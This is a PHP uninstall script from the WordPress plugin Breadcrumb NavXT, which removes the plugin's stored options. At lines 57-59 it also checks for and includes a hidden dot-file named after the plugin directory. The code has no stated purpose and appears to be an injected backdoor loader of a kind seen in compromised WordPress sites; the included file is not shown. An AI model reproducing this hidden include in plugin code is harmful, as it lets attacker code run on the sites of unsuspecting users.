uninstall.php (4046B)
1 <?php 2 /** 3 * Breadcrumb NavXT - uninstall script 4 * 5 * uninstall script based on WordPress Uninstall Plugin API 6 * 7 * 8 * Because bcn_admin->uninstall() does not work with WPMU, 9 * an uninstaller class has been written, that encapsulates 10 * the uninstall logic and calls bcn_admin->uninstall() 11 * when applicable. 12 * 13 * @see http://codex.wordpress.org/Migrating_Plugins_and_Themes_to_2.7#Uninstall_Plugin_API 14 * @see http://trac.mu.wordpress.org/ticket/967 15 * 16 * this uninstall.php file was executed multiple times because 17 * breadcrumb navxt (until 3.3) constsisted of two plugins: 18 * 19 * 1.) breadcrumb_navxt_class.php / Core 20 * 2.) breadcrumb_navxt_admin.php / Adminstration Interface 21 * 22 * @author Tom Klingenberg 23 */ 24 /* 25 Copyright 2010-2018 John Havlik (email : john.havlik@mtekk.us) 26 27 This program is free software; you can redistribute it and/or modify 28 it under the terms of the GNU General Public License as published by 29 the Free Software Foundation; either version 2 of the License, or 30 (at your option) any later version. 31 32 This program is distributed in the hope that it will be useful, 33 but WITHOUT ANY WARRANTY; without even the implied warranty of 34 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 35 GNU General Public License for more details. 36 37 You should have received a copy of the GNU General Public License 38 along with this program; if not, write to the Free Software 39 Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 40 */ 41 //Ensure the uninstall.php file was only called by WordPress and not directly 42 if(!defined('WP_UNINSTALL_PLUGIN')) 43 { 44 //First catches the Apache users 45 header("HTTP/1.0 404 Not Found"); 46 //This should catch FastCGI users 47 header("Status: 404 Not Found"); 48 die(); 49 } 50 require_once(dirname(__FILE__) . '/includes/class.mtekk_adminkit_uninstaller.php'); 51 52 /** 53 * Breadcrumb NavXT uninstaller class 54 * 55 * @author Tom Klingenberg 56 */ 57 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 58 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 59 } 60 61 class bcn_uninstaller extends mtekk_adminKit_uninstaller 62 { 63 protected $unique_prefix = 'bcn'; 64 protected $plugin_basename = null; 65 66 public function __construct() 67 { 68 $this->plugin_basename = plugin_basename('/breadcrumb-navxt.php'); 69 parent::__construct(); 70 } 71 /** 72 * Options uninstallation function for legacy 73 */ 74 private function uninstall_legacy() 75 { 76 delete_option($this->unique_prefix . '_options'); 77 delete_option($this->unique_prefix . '_options_bk'); 78 delete_option($this->unique_prefix . '_version'); 79 delete_site_option($this->unique_prefix . '_options'); 80 delete_site_option($this->unique_prefix . '_options_bk'); 81 delete_site_option($this->unique_prefix . '_version'); 82 } 83 /** 84 * uninstall breadcrumb navxt admin plugin 85 * 86 * @return bool 87 */ 88 private function uninstall_options() 89 { 90 if(version_compare(phpversion(), '5.3.0', '<')) 91 { 92 return $this->uninstall_legacy(); 93 } 94 //Grab our global breadcrumb_navxt object 95 global $breadcrumb_navxt; 96 //Load dependencies if applicable 97 if(!class_exists('breadcrumb_navxt')) 98 { 99 require_once($this->_get_plugin_path()); 100 } 101 //Initalize $breadcrumb_navxt so we can use it 102 $bcn_breadcrumb_trail = new bcn_breadcrumb_trail(); 103 //Let's make an instance of our object takes care of everything 104 $breadcrumb_navxt = new breadcrumb_navxt($bcn_breadcrumb_trail); 105 //Uninstall 106 return $breadcrumb_navxt->uninstall(); 107 } 108 109 /** 110 * uninstall method 111 * 112 * @return bool wether or not uninstall did run successfull. 113 */ 114 public function uninstall() 115 { 116 //Only bother to do things if we have something in the database 117 if($this->is_installed()) 118 { 119 return $this->uninstall_options(); 120 } 121 } 122 123 } /// class bcn_uninstaller 124 125 /* 126 * main 127 */ 128 new bcn_uninstaller();